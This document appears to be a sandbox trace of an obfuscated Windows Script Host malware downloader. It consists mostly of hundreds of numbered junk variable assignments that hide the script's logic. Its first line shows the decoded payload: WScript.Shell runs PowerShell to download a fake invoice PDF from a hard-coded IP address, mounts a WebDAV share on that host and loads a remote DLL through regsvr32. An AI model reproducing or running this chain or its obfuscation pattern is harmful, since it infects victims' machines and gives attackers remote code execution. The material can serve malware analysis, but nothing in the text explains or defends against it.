azrmgunj + azrmgunj + azrmgunj + ibdmddj + kwsju + kwsju + pblvtrhl + ahrnc + xirvutsm + gkhzietjm + pxunejge + zwcbaumt + pxunejge + gkhzietjm + atjpmmk + pxunejge + qomlvgyo + qomlvgyo + gkhzietjm + pxunejge + gkhzietjm + xirvutsm + gkhzietjm + eshlwiwlb + nhwsndm + qalblhsl + qalblhsl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll",0,false) ➔ 0
14	}
15	zsrgyimin = "C";
16	zsrgyimin = "F";
17	zsrgyimin = "I";
18	zsrgyimin = "J";
19	zsrgyimin = "P";
20	zsrgyimin = "s";
21	zsrgyimin = "A";
22	zsrgyimin = "g";
23	zsrgyimin = "L";
24	zsrgyimin = "W";
25	zsrgyimin = "K";
26	zsrgyimin = "g";
27	zsrgyimin = "S";
28	zsrgyimin = "N";
29	zsrgyimin = "o";
30	zsrgyimin = "h";
31	zsrgyimin = "c";
32	zsrgyimin = "d";
33	zsrgyimin = "Z";
34	zsrgyimin = "z";
35	zsrgyimin = "d";
36	zsrgyimin = "b";
37	zsrgyimin = "z";
38	zsrgyimin = "j";
39	zsrgyimin = "Z";
40	zsrgyimin = "f";
41	zsrgyimin = "c";
42	zsrgyimin = "A";
43	zsrgyimin = "F";
44	zsrgyimin = "r";
45	zsrgyimin = "R";
46	zsrgyimin = "C";
47	zwcbaumt = "B";
48	zwcbaumt = "S";
49	zwcbaumt = "U";
50	zwcbaumt = "p";
51	zwcbaumt = "m";
52	zwcbaumt = "B";
53	zwcbaumt = "A";
54	zwcbaumt = "g";
55	zwcbaumt = "f";
56	zwcbaumt = "a";
57	zwcbaumt = "L";
58	zwcbaumt = "u";
59	zwcbaumt = "q";
60	zwcbaumt = "l";
61	zwcbaumt = "L";
62	zwcbaumt = "k";
63	zwcbaumt = "p";
64	zwcbaumt = "Y";
65	zwcbaumt = "B";
66	zwcbaumt = "p";
67	zwcbaumt = "N";
68	zwcbaumt = "w";
69	zwcbaumt = "m";
70	zwcbaumt = "K";
71	zwcbaumt = "t";
72	zwcbaumt = "o";
73	zwcbaumt = "X";
74	zwcbaumt = "e";
75	zwcbaumt = "N";
76	zwcbaumt = "B";
77	zwcbaumt = "0";
78	xirvutsm = "v";
79	xirvutsm = "K";
80	xirvutsm = "Q";
81	xirvutsm = "K";
82	xirvutsm = "k";
83	xirvutsm = "Q";
84	xirvutsm = "W";
85	xirvutsm = "Z";
86	xirvutsm = "r";
87	xirvutsm = "a";
88	xirvutsm = "W";
89	xirvutsm = "k";
90	xirvutsm = "c";
91	xirvutsm = "z";
92	xirvutsm = "M";
93	xirvutsm = "K";
94	xirvutsm = "R";
95	xirvutsm = "B";
96	xirvutsm = "G";
97	xirvutsm = "H";
98	xirvutsm = "W";
99	xirvutsm = "s";
100	xirvutsm = "A";
101	xirvutsm = "W";
102	xirvutsm = "t";
103	xirvutsm = "1";
104	djjkk = "E";
105	djjkk = "L";
106	djjkk = "a";
107	djjkk = "j";
108	djjkk = "m";
109	djjkk = "e";
110	djjkk = "d";
111	djjkk = "i";
112	djjkk = "P";
113	djjkk = "j";
114	djjkk = "N";
115	pxunejge = "J";
116	pxunejge = "E";
117	pxunejge = "J";
118	pxunejge = "G";
119	pxunejge = "z";
120	pxunejge = "W";
121	pxunejge = "W";
122	pxunejge = "B";
123	pxunejge = "k";
124	pxunejge = "W";
125	pxunejge = "Q";
126	pxunejge = "K";
127	pxunejge = "C";
128	pxunejge = "O";
129	pxunejge = "w";
130	pxunejge = "P";
131	pxunejge = "s";
132	pxunejge = "m";
133	pxunejge = "E";
134	pxunejge = "j";
135	pxunejge = "J";
136	pxunejge = "w";
137	pxunejge = "b";
138	pxunejge = "Z";
139	pxunejge = "L";
140	pxunejge = "K";
141	pxunejge = "I";
142	pxunejge = "9";
143	lrgpbbqj = "K";
144	lrgpbbqj = "l";
145	lrgpbbqj = "A";
146	lrgpbbqj = "P";
147	lrgpbbqj = "c";
148	lrgpbbqj = "E";
149	lrgpbbqj = "M";
150	lrgpbbqj = "_";
151	azrmgunj = "H";
152	azrmgunj = "k";
153	azrmgunj = "k";
154	azrmgunj = "Z";
155	azrmgunj = "D";
156	azrmgunj = "N";
157	azrmgunj = "t";
158	azrmgunj = "F";
159	azrmgunj = "A";
160	azrmgunj = "K";
161	azrmgunj = "Y";
162	azrmgunj = "c";
163	azrmgunj = "c";
164	azrmgunj = "Z";
165	azrmgunj = "V";
166	azrmgunj = "d";
167	azrmgunj = "M";
168	azrmgunj = "j";
169	azrmgunj = "V";
170	azrmgunj = "L";
171	azrmgunj = "G";
172	azrmgunj = "A";
173	azrmgunj = "L";
174	azrmgunj = "z";
175	azrmgunj = "w";
176	gkhzietjm = "m";
177	gkhzietjm = "N";
178	gkhzietjm = "M";
179	gkhzietjm = "z";
180	gkhzietjm = "n";
181	gkhzietjm = "P";
182	gkhzietjm = "h";
183	gkhzietjm = "t";
184	gkhzietjm = "p";
185	gkhzietjm = "D";
186	gkhzietjm = "o";
187	gkhzietjm = "Q";
188	gkhzietjm = "2";
189	qalblhsl = "i";
190	qalblhsl = "c";
191	qalblhsl = "w";
192	qalblhsl = "L";
193	qalblhsl = "H";
194	qalblhsl = "H";
195	qalblhsl = "J";
196	qalblhsl = "m";
197	qalblhsl = "C";
198	qalblhsl = "K";
199	qalblhsl = "a";
200	qalblhsl = "M";
201	qalblhsl = "K";
202	qalblhsl = "Z";
203	qalblhsl = "c";
204	qalblhsl = "f";
205	qalblhsl = "J";
206	qalblhsl = "z";
207	qalblhsl = "b";
208	qalblhsl = "i";
209	qalblhsl = "k";
210	qalblhsl = "G";
211	qalblhsl = "l";
212	wyvyjnfi = "R";
213	wyvyjnfi = "p";
214	wyvyjnfi = "Z";
215	wyvyjnfi = "f";
216	wyvyjnfi = "D";
217	wyvyjnfi = "B";
218	wyvyjnfi = "u";
219	wyvyjnfi = "G";
220	wyvyjnfi = "c";
221	wyvyjnfi = "w";
222	wyvyjnfi = "B";
223	wyvyjnfi = "L";
224	wyvyjnfi = "h";
225	wyvyjnfi = "T";
226	wyvyjnfi = "v";
227	wyvyjnfi = "A";
228	wyvyjnfi = "j";
229	nhwsndm = "X";
230	nhwsndm = "g";
231	nhwsndm = "J";
232	nhwsndm = "c";
233	nhwsndm = "l";
234	nhwsndm = "t";
235	nhwsndm = "Z";
236	nhwsndm = "U";
237	nhwsndm = "y";
238	nhwsndm = "E";
239	nhwsndm = "d";
240	acarzd = "M";
241	acarzd = "B";
242	acarzd = "p";
243	acarzd = "w";
244	acarzd = "u";
245	acarzd = "F";
246	acarzd = "W";
247	acarzd = "L";
248	acarzd = "R";
249	acarzd = "P";
250	acarzd = "v";
251	acarzd = "Z";
252	acarzd = "e";
253	acarzd = "O";
254	acarzd = "p";
255	acarzd = "m";
256	acarzd = "Z";
257	acarzd = "p";
258	acarzd = "t";
259	acarzd = "y";
260	acarzd = "O";
261	acarzd = "m";
262	acarzd = "g";
263	acarzd = "C";
264	acarzd = "e";
265	acarzd = "H";
266	acarzd = "F";
267	kwsju = "n";
268	kwsju = "f";
269	kwsju = "W";
270	kwsju = "O";
271	kwsju = "F";
272	kwsju = "o";
273	wckygkew = "e";
274	wckygkew = "e";
275	wckygkew = "q";
276	wckygkew = "i";
277	wckygkew = "k";
278	wckygkew = "S";
279	wckygkew = "F";
280	wckygkew = "L";
281	wckygkew = "t";
282	wckygkew = "Q";
283	wckygkew = "c";
284	wckygkew = "l";
285	wckygkew = "F";
286	wckygkew = "G";
287	wckygkew = "Z";
288	wckygkew = "X";
289	wckygkew = "I";
290	wckygkew = "F";
291	wckygkew = "n";
292	wckygkew = "n";
293	wckygkew = "t";
294	wckygkew = "D";
295	wckygkew = "d";
296	wckygkew = "m";
297	wckygkew = "Z";
298	wckygkew = "X";
299	wckygkew = "r";
300	wckygkew = "t";
301	wckygkew = "y";
302	wckygkew = "H";
303	wckygkew = "f";
304	wckygkew = "R";
305	wckygkew = "j";
306	wckygkew = "f";
307	wckygkew = "a";
308	wckygkew = "g";
309	wckygkew = "x";
310	wckygkew = "u";
311	wckygkew = "E";
312	wckygkew = "I";
313	ewpirqptl = "B";
314	ewpirqptl = "g";
315	ewpirqptl = "q";
316	ewpirqptl = "Q";
317	ewpirqptl = "K";
318	ewpirqptl = "d";
319	ewpirqptl = "u";
320	ewpirqptl = "G";
321	ewpirqptl = "R";
322	ewpirqptl = "N";
323	ewpirqptl = "v";
324	ewpirqptl = "d";
325	ewpirqptl = "I";
326	ewpirqptl = "S";
327	ewpirqptl = "L";
328	ewpirqptl = "P";
329	ewpirqptl = "N";
330	ewpirqptl = "O";
331	ewpirqptl = "G";
332	ewpirqptl = "b";
333	ewpirqptl = "v";
334	ewpirqptl = "E";
335	ewpirqptl = "z";
336	ewpirqptl = "v";
337	eshlwiwlb = "y";
338	eshlwiwlb = "K";
339	eshlwiwlb = "U";
340	eshlwiwlb = "A";
341	eshlwiwlb = "n";
342	eshlwiwlb = "Z";
343	eshlwiwlb = "K";
344	eshlwiwlb = "b";
345	eshlwiwlb = ".";
346	peauyc = "S";
347	peauyc = "s";
348	peauyc = "x";
349	peauyc = "Y";
350	peauyc = "F";
351	peauyc = "M";
352	peauyc = "A";
353	peauyc = "D";
354	peauyc = "d";
355	peauyc = "w";
356	peauyc = "P";
357	peauyc = "i";
358	peauyc = "U";
359	peauyc = "w";
360	peauyc = "o";
361	peauyc = "g";
362	peauyc = "S";
363	peauyc = "R";
364	peauyc = "Y";
365	peauyc = "P";
366	peauyc = "u";
367	peauyc = "n";
368	peauyc = "k";
369	peauyc = "K";
370	peauyc = "U";
371	peauyc = "Q";
372	peauyc = "r";
373	peauyc = "F";
374	peauyc = "g";
375	peauyc = "b";
376	peauyc = "a";
377	blwmve = "s";
378	blwmve = "Z";
379	blwmve = "B";
380	blwmve = "X";
381	blwmve = "P";
382	blwmve = "w";
383	blwmve = "t";
384	blwmve = "g";
385	blwmve = "x";
386	blwmve = "f";
387	chhzorxwi = "S";
388	chhzorxwi = "r";
389	chhzorxwi = "a";
390	chhzorxwi = "n";
391	chhzorxwi = "m";
392	chhzorxwi = "r";
393	chhzorxwi = "o";
394	chhzorxwi = "O";
395	chhzorxwi = "v";
396	chhzorxwi = "a";
397	chhzorxwi = "Y";
398	chhzorxwi = "K";
399	chhzorxwi = "G";
400	chhzorxwi = "V";
401	chhzorxwi = "N";
402	chhzorxwi = "d";
403	chhzorxwi = "u";
404	chhzorxwi = "T";
405	chhzorxwi = "f";
406	chhzorxwi = "y";
407	chhzorxwi = "o";
408	chhzorxwi = "Q";
409	chhzorxwi = "z";
410	chhzorxwi = "H";
411	chhzorxwi = "a";
412	chhzorxwi = "D";
413	chhzorxwi = "k";
414	chhzorxwi = "p";
415	chhzorxwi = "E";
416	qqvrkhtvx = "Z";
417	qqvrkhtvx = "O";
418	qqvrkhtvx = "q";
419	qqvrkhtvx = "f";
420	qqvrkhtvx = "m";
421	qqvrkhtvx = "B";
422	qqvrkhtvx = "b";
423	qqvrkhtvx = "O";
424	qqvrkhtvx = "y";
425	qqvrkhtvx = "x";
426	qqvrkhtvx = "K";
427	qqvrkhtvx = "P";
428	qqvrkhtvx = "D";
429	qqvrkhtvx = "d";
430	qqvrkhtvx = "f";
431	qqvrkhtvx = "v";
432	qqvrkhtvx = "W";
433	qqvrkhtvx = "l";
434	qqvrkhtvx = "n";
435	qqvrkhtvx = "z";
436	qqvrkhtvx = "x";
437	qqvrkhtvx = "p";
438	qqvrkhtvx = "w";
439	qqvrkhtvx = "A";
440	qqvrkhtvx = "O";
441	qqvrkhtvx = "z";
442	qqvrkhtvx = "X";
443	qqvrkhtvx = "s";
444	ijfobq = "w";
445	ijfobq = "N";
446	ijfobq = "C";
447	ijfobq = "H";
448	ijfobq = "S";
449	ijfobq = "p";
450	ijfobq = "e";
451	ijfobq = "a";
452	ijfobq = "R";
453	ijfobq = "y";
454	ijfobq = "M";
455	ijfobq = "F";
456	ijfobq = "D";
457	ijfobq = "u";
458	ijfobq = "Z";
459	ijfobq = "J";
460	ijfobq = "f";
461	ijfobq = "B";
462	ijfobq = "r";
463	ijfobq = "C";
464	ijfobq = "d";
465	ijfobq = "M";
466	ijfobq = "H";
467	ijfobq = "t";
468	ijfobq = "l";
469	ijfobq = "E";
470	ijfobq = "K";
471	ijfobq = "g";
472	ijfobq = "z";
473	ijfobq = "O";
474	ijfobq = "A";
475	ijfobq = "X";
476	ijfobq = "e";
477	ijfobq = "D";
478	ijfobq = "Z";
479	ijfobq = "E";
480	ijfobq = "O";
481	ijfobq = "I";
482	ijfobq = "e";
483	ijfobq = "N";
484	ijfobq = "t";
485	ijfobq = " ";
486	kpoeaqoj = "T";
487	kpoeaqoj = "Y";
488	kpoeaqoj = "g";
489	kpoeaqoj = "Y";
490	kpoeaqoj = "m";
491	kpoeaqoj = "P";
492	kpoeaqoj = "l";
493	kpoeaqoj = "o";
494	kpoeaqoj = "G";
495	kpoeaqoj = "q";
496	kpoeaqoj = "L";
497	kpoeaqoj = "I";
498	kpoeaqoj = "P";
499	kpoeaqoj = "D";
500	kpoeaqoj = "r";
501	kpoeaqoj = "X";
502	kpoeaqoj = "x";
503	kpoeaqoj = "y";
504	kpoeaqoj = "N";
505	kpoeaqoj = "v";
506	kpoeaqoj = "t";
507	kpoeaqoj = "h";
508	kpoeaqoj = "i";
509	kpoeaqoj = "T";
510	kpoeaqoj = "C";
511	kpoeaqoj = "T";
512	kpoeaqoj = "t";
513	kpoeaqoj = "F";
514	kpoeaqoj = "K";
515	kpoeaqoj = "T";
516	kpoeaqoj = "t";
517	kpoeaqoj = "i";
518	kpoeaqoj = "p";
519	kpoeaqoj = "U";
520	ahrnc = "s";
521	ahrnc = "I";
522	ahrnc = "H";
523	ahrnc = "h";
524	ahrnc = "j";
525	ahrnc = "m";
526	ahrnc = "s";
527	ahrnc = "E";
528	ahrnc = "V";
529	ahrnc = "j";
530	ahrnc = "A";
531	ahrnc = "a";
532	ahrnc = "O";
533	ahrnc = "E";
534	ahrnc = "X";
535	ahrnc = "e";
536	ahrnc = "N";
537	ahrnc = "V";
538	ahrnc = "\\";
539	pobjpg = "A";
540	pobjpg = "W";
541	pobjpg = "o";
542	pobjpg = "W";
543	pobjpg = "L";
544	pobjpg = "l";
545	pobjpg = "z";
546	pobjpg = "q";
547	pobjpg = "d";
548	pobjpg = "n";
549	pobjpg = "q";
550	pobjpg = "h";
551	pobjpg = "I";
552	pobjpg = "Q";
553	pobjpg = "c";
554	pobjpg = "X";
555	pobjpg = "R";
556	pobjpg = "f";
557	pobjpg = "t";
558	pobjpg = "D";
559	pobjpg = "k";
560	pobjpg = "V";
561	pobjpg = "U";
562	pobjpg = "O";
563	pobjpg = "m";
564	pobjpg = "F";
565	pobjpg = "h";
566	pobjpg = "X";
567	pobjpg = "/";
568	jdzjhb = "y";
569	jdzjhb = "B";
570	jdzjhb = "D";
571	jdzjhb = "L";
572	jdzjhb = "X";
573	jdzjhb = "D";
574	jdzjhb = "O";
575	jdzjhb = "C";
576	jdzjhb = "U";
577	jdzjhb = "b";
578	jdzjhb = "i";
579	jdzjhb = "o";
580	jdzjhb = "r";
581	jdzjhb = "z";
582	jdzjhb = "X";
583	jdzjhb = "V";
584	jdzjhb = "B";
585	jdzjhb = "x";
586	jdzjhb = "V";
587	jdzjhb = "O";
588	jdzjhb = "Q";
589	jdzjhb = "c";
590	jdzjhb = "z";
591	jdzjhb = "b";
592	jdzjhb = "v";
593	jdzjhb = "Q";
594	jdzjhb = "x";
595	jdzjhb = "D";
596	jdzjhb = "U";
597	jdzjhb = "A";
598	jdzjhb = "D";
599	jdzjhb = "l";
600	jdzjhb = "c";
601	jdzjhb = "U";
602	jdzjhb = "s";
603	jdzjhb = "t";
604	jdzjhb = "O";
605	jdzjhb = "k";
606	jdzjhb = "T";
607	jdzjhb = "q";
608	jdzjhb = "C";
609	jdzjhb = "w";
610	jdzjhb = "O";
611	jjhrow = "F";
612	jjhrow = "v";
613	jjhrow = "h";
614	jjhrow = "C";
615	jjhrow = "M";
616	jjhrow = "W";
617	jjhrow = "I";
618	jjhrow = "A";
619	jjhrow = "A";
620	jjhrow = "s";
621	jjhrow = "w";
622	jjhrow = "b";
623	jjhrow = "c";
624	jjhrow = "H";
625	jjhrow = "d";
626	jjhrow = "a";
627	jjhrow = "j";
628	jjhrow = "t";
629	jjhrow = "b";
630	jjhrow = "G";
631	jjhrow = "X";
632	jjhrow = "d";
633	jjhrow = "z";
634	jjhrow = "r";
635	jjhrow = "O";
636	jjhrow = "m";
637	jjhrow = "a";
638	jjhrow = "J";
639	jjhrow = "j";
640	jjhrow = "b";
641	jjhrow = "j";
642	jjhrow = "P";
643	jjhrow = "f";
644	jjhrow = "q";
645	jjhrow = "H";
646	jjhrow = "d";
647	jjhrow = "D";
648	jjhrow = "o";
649	jjhrow = "\"";
650	mippizy = "k";
651	mippizy = "h";
652	xjmrmazw = "U";
653	xjmrmazw = "n";
654	xjmrmazw = "t";
655	xjmrmazw = "i";
656	xjmrmazw = "z";
657	xjmrmazw = "z";
658	xjmrmazw = "V";
659	xjmrmazw = "R";
660	xjmrmazw = "U";
661	xjmrmazw = "u";
662	xjmrmazw = "Q";
663	qetvium = "j";
664	qetvium = "p";
665	qetvium = "P";
666	qetvium = "h";
667	qetvium = "o";
668	qetvium = "a";
669	qetvium = "N";
670	qetvium = "K";
671	qetvium = "q";
672	qetvium = "R";
673	qetvium = "u";
674	qetvium = "x";
675	zlvgmffwm = "D";
676	zlvgmffwm = "X";
677	zlvgmffwm = "k";
678	zlvgmffwm = "w";
679	zlvgmffwm = "Z";
680	zlvgmffwm = "Q";
681	zlvgmffwm = "n";
682	zlvgmffwm = "N";
683	zlvgmffwm = "S";
684	zlvgmffwm = "l";
685	zlvgmffwm = "w";
686	zlvgmffwm = "H";
687	zlvgmffwm = "M";
688	zlvgmffwm = "X";
689	zlvgmffwm = "v";
690	zlvgmffwm = "w";
691	zlvgmffwm = "j";
692	zlvgmffwm = "w";
693	zlvgmffwm = "N";
694	zlvgmffwm = "z";
695	zlvgmffwm = "y";
696	zlvgmffwm = "L";
697	zlvgmffwm = "n";
698	zlvgmffwm = "D";
699	zlvgmffwm = "M";
700	zlvgmffwm = "S";
701	zlvgmffwm = "p";
702	qomlvgyo = "a";
703	qomlvgyo = "n";
704	qomlvgyo = "Y";
705	qomlvgyo = "b";
706	qomlvgyo = "I";
707	qomlvgyo = "R";
708	qomlvgyo = "b";
709	qomlvgyo = "a";
710	qomlvgyo = "a";
711	qomlvgyo = "A";
712	qomlvgyo = "V";
713	qomlvgyo = "k";
714	qomlvgyo = "u";
715	qomlvgyo = "r";
716	qomlvgyo = "y";
717	qomlvgyo = "Y";
718	qomlvgyo = "U";
719	qomlvgyo = "D";
720	qomlvgyo = "S";
721	qomlvgyo = "A";
722	qomlvgyo = "s";
723	qomlvgyo = "f";
724	qomlvgyo = "4";
725	kxwfffofw = "H";
726	kxwfffofw = "k";
727	kxwfffofw = "Z";
728	kxwfffofw = "u";
729	kxwfffofw = "s";
730	kxwfffofw = "f";
731	kxwfffofw = "H";
732	kxwfffofw = "d";
733	kxwfffofw = "Q";
734	kxwfffofw = "V";
735	kxwfffofw = "l";
736	kxwfffofw = "t";
737	kxwfffofw = "R";
738	kxwfffofw = "o";
739	kxwfffofw = "M";
740	kxwfffofw = "g";
741	kxwfffofw = "H";
742	kxwfffofw = "p";
743	kxwfffofw = "f";
744	kxwfffofw = "q";
745	kxwfffofw = "a";
746	kxwfffofw = "K";
747	kxwfffofw = "s";
748	kxwfffofw = "z";
749	kxwfffofw = "m";
750	kxwfffofw = "g";
751	kxwfffofw = "N";
752	kxwfffofw = "t";
753	kxwfffofw = "H";
754	kxwfffofw = "r";
755	kxwfffofw = "q";
756	fxxovdkb = "O";
757	fxxovdkb = "q";
758	fxxovdkb = "p";
759	fxxovdkb = "T";
760	fxxovdkb = "L";
761	fxxovdkb = "W";
762	fxxovdkb = "m";
763	fxxovdkb = "w";
764	fxxovdkb = "Y";
765	fxxovdkb = "c";
766	fxxovdkb = "S";
767	fxxovdkb = "b";
768	fxxovdkb = "o";
769	fxxovdkb = "M";
770	fxxovdkb = "L";
771	fxxovdkb = "C";
772	fxxovdkb = "f";
773	fxxovdkb = "f";
774	fxxovdkb = "c";
775	fxxovdkb = "B";
776	fxxovdkb = "a";
777	fxxovdkb = "Q";
778	fxxovdkb = "H";
779	fxxovdkb = "g";
780	fxxovdkb = "e";
781	fxxovdkb = "b";
782	fxxovdkb = "P";
783	fxxovdkb = "u";
784	atjpmmk = "o";
785	atjpmmk = "v";
786	atjpmmk = "N";
787	atjpmmk = "C";
788	atjpmmk = "b";
789	atjpmmk = "N";
790	atjpmmk = "i";
791	atjpmmk = "h";
792	atjpmmk = "P";
793	atjpmmk = "E";
794	atjpmmk = "T";
795	atjpmmk = "U";
796	atjpmmk = "N";
797	atjpmmk = "V";
798	atjpmmk = "y";
799	atjpmmk = "t";
800	atjpmmk = "e";
801	atjpmmk = "C";
802	atjpmmk = "H";
803	atjpmmk = "t";
804	atjpmmk = "H";
805	atjpmmk = "s";
806	atjpmmk = "M";
807	atjpmmk = "M";
808	atjpmmk = "f";
809	atjpmmk = "r";
810	atjpmmk = "N";
811	atjpmmk = "N";
812	atjpmmk = "G";
813	atjpmmk = "q";
814	atjpmmk = "W";
815	atjpmmk = "R";
816	atjpmmk = "l";
817	atjpmmk = "D";
818	atjpmmk = "q";
819	atjpmmk = "N";
820	atjpmmk = "g";
821	atjpmmk = "J";
822	atjpmmk = "V";
823	atjpmmk = "g";
824	atjpmmk = "I";
825	atjpmmk = "m";
826	atjpmmk = "P";
827	atjpmmk = "H";
828	atjpmmk = "3";
829	zauzndnl = "j";
830	zauzndnl = "C";
831	zauzndnl = "M";
832	zauzndnl = "l";
833	zauzndnl = "S";
834	zauzndnl = "s";
835	zauzndnl = "o";
836	zauzndnl = "U";
837	zauzndnl = "w";
838	zauzndnl = "L";
839	zauzndnl = "J";
840	zauzndnl = "G";
841	zauzndnl = "X";
842	zauzndnl = "H";
843	zauzndnl = "Z";
844	zauzndnl = "a";
845	zauzndnl = "w";
846	zauzndnl = "A";
847	zauzndnl = "E";
848	zauzndnl = "R";
849	zauzndnl = "a";
850	zauzndnl = "W";
851	zauzndnl = "d";
852	zauzndnl = "X";
853	zauzndnl = "r";
854	zauzndnl = "M";
855	zauzndnl = "v";
856	zauzndnl = "y";
857	zauzndnl = "a";
858	zauzndnl = "k";
859	zauzndnl = "I";
860	zauzndnl = "V";
861	zauzndnl = "r";
862	zauzndnl = "j";
863	zauzndnl = "O";
864	zauzndnl = "w";
865	zauzndnl = "I";
866	zauzndnl = "T";
867	xihvt = "A";
868	xihvt = "F";
869	xihvt = "H";
870	xihvt = "H";
871	xihvt = "K";
872	xihvt = "T";
873	xihvt = "B";
874	xihvt = "Z";
875	xihvt = "P";
876	xihvt = "A";
877	xihvt = "e";
878	xihvt = "E";
879	xihvt = "e";
880	xihvt = "S";
881	xihvt = "G";
882	xihvt = "W";
883	xihvt = "c";
884	xihvt = "b";
885	xihvt = "d";
886	xihvt = "G";
887	xihvt = "z";
888	xihvt = "o";
889	xihvt = "P";
890	vecphfjk = "U";
891	vecphfjk = "Z";
892	vecphfjk = "g";
893	vecphfjk = "u";
894	vecphfjk = "d";
895	vecphfjk = "O";
896	vecphfjk = "L";
897	vecphfjk = "M";
898	vecphfjk = "b";
899	vecphfjk = "G";
900	vecphfjk = "n";
901	vecphfjk = "f";
902	vecphfjk = "L";
903	eeetruog = "n";
904	eeetruog = "L";
905	eeetruog = "E";
906	eeetruog = "z";
907	eeetruog = "q";
908	eeetruog = "O";
909	eeetruog = "h";
910	eeetruog = "E";
911	eeetruog = "w";
912	eeetruog = "P";
913	eeetruog = "n";
914	xbhiabnvy = "j";
915	xbhiabnvy = "c";
916	xbhiabnvy = "D";
917	xbhiabnvy = "F";
918	xbhiabnvy = "t";
919	xbhiabnvy = "h";
920	xbhiabnvy = "e";
921	xbhiabnvy = "r";
922	xbhiabnvy = "A";
923	xbhiabnvy = "b";
924	xbhiabnvy = "L";
925	xbhiabnvy = "r";
926	xbhiabnvy = "r";
927	xbhiabnvy = "B";
928	xbhiabnvy = "n";
929	xbhiabnvy = "r";
930	xbhiabnvy = "F";
931	xbhiabnvy = "C";
932	xbhiabnvy = "J";
933	xbhiabnvy = "B";
934	xbhiabnvy = "o";
935	xbhiabnvy = "M";
936	xbhiabnvy = "E";
937	xbhiabnvy = "A";
938	xbhiabnvy = "d";
939	xbhiabnvy = "Z";
940	xbhiabnvy = "X";
941	xbhiabnvy = "v";
942	xbhiabnvy = "I";
943	xbhiabnvy = "X";
944	xbhiabnvy = "T";
945	xbhiabnvy = "a";
946	xbhiabnvy = "z";
947	xbhiabnvy = "s";
948	xbhiabnvy = "H";
949	xbhiabnvy = "v";
950	xbhiabnvy = "M";
951	xbhiabnvy = "d";
952	xbhiabnvy = "k";
953	xbhiabnvy = "Z";
954	xbhiabnvy = "g";
955	chrwbwq = "g";
956	chrwbwq = "P";
957	chrwbwq = "S";
958	chrwbwq = "E";
959	chrwbwq = "m";
960	chrwbwq = "E";
961	chrwbwq = "Z";
962	chrwbwq = "j";
963	chrwbwq = "b";
964	chrwbwq = "c";
965	chrwbwq = "u";
966	chrwbwq = "l";
967	chrwbwq = "p";
968	chrwbwq = "B";
969	chrwbwq = "L";
970	chrwbwq = "h";
971	chrwbwq = "q";
972	chrwbwq = "y";
973	chrwbwq = "B";
974	chrwbwq = "b";
975	chrwbwq = "e";
976	chrwbwq = "a";
977	chrwbwq = "k";
978	chrwbwq = "g";
979	chrwbwq = "M";
980	chrwbwq = "E";
981	chrwbwq = "N";
982	chrwbwq = "w";
983	chrwbwq = "D";
984	chrwbwq = "l";
985	chrwbwq = "K";
986	chrwbwq = "f";
987	chrwbwq = "x";
988	chrwbwq = "z";
989	chrwbwq = "N";
990	chrwbwq = "K";
991	chrwbwq = "b";
992	dxarl = "K";
993	dxarl = "T";
994	dxarl = "F";
995	dxarl = "e";
996	pecgzjczs = "n";
997	pecgzjczs = "h";
998	pecgzjczs = "u";
999	pecgzjczs = "C";
1000	pecgzjczs = "H";
1001	pecgzjczs = "8";
1002	svfisw = "O";
1003	svfisw = "Y";
1004	svfisw = "T";
1005	svfisw = "m";
1006	svfisw = "X";
1007	svfisw = "S";
1008	svfisw = "v";
1009	svfisw = "Y";
1010	fspsduyh = "P";
1011	fspsduyh = "N";
1012	fspsduyh = "G";
1013	fspsduyh = "u";
1014	fspsduyh = "k";
1015	fspsduyh = "Y";
1016	fspsduyh = "V";
1017	fspsduyh = "H";
1018	fspsduyh = "d";
1019	fspsduyh = "O";
1020	fspsduyh = "v";
1021	fspsduyh = "R";
1022	fspsduyh = "a";
1023	fspsduyh = "A";
1024	fspsduyh = "L";
1025	fspsduyh = "t";
1026	fspsduyh = "v";
1027	fspsduyh = "m";
1028	fspsduyh = "n";
1029	fspsduyh = "j";
1030	fspsduyh = "I";
1031	fspsduyh = "v";
1032	fspsduyh = "n";
1033	fspsduyh = "D";
1034	fspsduyh = "c";
1035	fspsduyh = "z";
1036	fspsduyh = "G";
1037	fspsduyh = "t";
1038	fspsduyh = "x";
1039	fspsduyh = "m";
1040	fspsduyh = "l";
1041	fspsduyh = "J";
1042	fspsduyh = "D";
1043	fspsduyh = "-";
1044	uysketd = "i";
1045	uysketd = "J";
1046	uysketd = "d";
1047	uysketd = "J";
1048	uysketd = "k";
1049	uysketd = "c";
1050	uysketd = "n";
1051	uysketd = "j";
1052	uysketd = "J";
1053	uysketd = "P";
1054	uysketd = "O";
1055	uysketd = "e";
1056	uysketd = "j";
1057	uysketd = "F";
1058	uysketd = "N";
1059	uysketd = "o";
1060	uysketd = "f";
1061	uysketd = "y";
1062	uysketd = "a";
1063	uysketd = "J";
1064	uysketd = "J";
1065	uysketd = "l";
1066	uysketd = "X";
1067	uysketd = "t";
1068	uysketd = "i";
1069	uysketd = "E";
1070	uysketd = "e";
1071	uysketd = "T";
1072	uysketd = "c";
1073	uysketd = "m";
1074	uysketd = "s";
1075	uysketd = "H";
1076	uysketd = "i";
1077	uysketd = "z";
1078	uysketd = "O";
1079	uysketd = "W";
1080	uysketd = "e";
1081	uysketd = "H";
1082	bjhsc = "e";
1083	bjhsc = "d";
1084	bjhsc = "d";
1085	bjhsc = "o";
1086	bjhsc = "m";
1087	bjhsc = "q";
1088	bjhsc = "x";
1089	bjhsc = "P";
1090	bjhsc = "q";
1091	bjhsc = "X";
1092	bjhsc = "W";
1093	pfddae = "x";
1094	pfddae = "C";
1095	pfddae = "D";
1096	pfddae = "5";
1097	pblvtrhl = "d";
1098	pblvtrhl = "v";
1099	pblvtrhl = "c";
1100	pblvtrhl = "H";
1101	pblvtrhl = "E";
1102	pblvtrhl = "H";
1103	pblvtrhl = "H";
1104	pblvtrhl = "v";
1105	pblvtrhl = "w";
1106	pblvtrhl = "g";
1107	pblvtrhl = "x";
1108	pblvtrhl = "O";
1109	pblvtrhl = "L";
1110	pblvtrhl = "l";
1111	pblvtrhl = "q";
1112	pblvtrhl = "t";
1113	giypbp = "z";
1114	giypbp = "Y";
1115	giypbp = "x";
1116	giypbp = "N";
1117	giypbp = "r";
1118	giypbp = "r";
1119	giypbp = "z";
1120	giypbp = "P";
1121	giypbp = "M";
1122	giypbp = "Z";
1123	giypbp = "&";
